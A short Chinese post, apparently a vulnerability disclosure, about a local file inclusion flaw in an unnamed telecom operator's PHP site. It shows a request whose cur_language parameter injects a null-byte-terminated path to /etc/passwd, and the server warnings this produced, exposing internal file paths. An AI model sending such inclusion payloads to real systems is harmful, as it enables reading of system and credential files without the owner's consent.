一个本地包含漏洞

某运营商....

http://www.xxx.xx/customer/leaveMess.php?IDBaseLine=&cur_language=%2Fetc%2Fpasswd%00

 

Warning: include(/etc/passwd\0.inc.php) [function.include]: failed to open stream: No such file or directory in /liusra2/xxx.xx/web/www/customer/language/language.inc.php on line 11

Warning: include() [function.include]: Failed opening '/etc/passwd\0.inc.php' for inclusion (include_path='.:/usr/local/lib/php') in /liusra2/xxx.xx/web/www/customer/language/language.inc.php on line 11

 

研究中....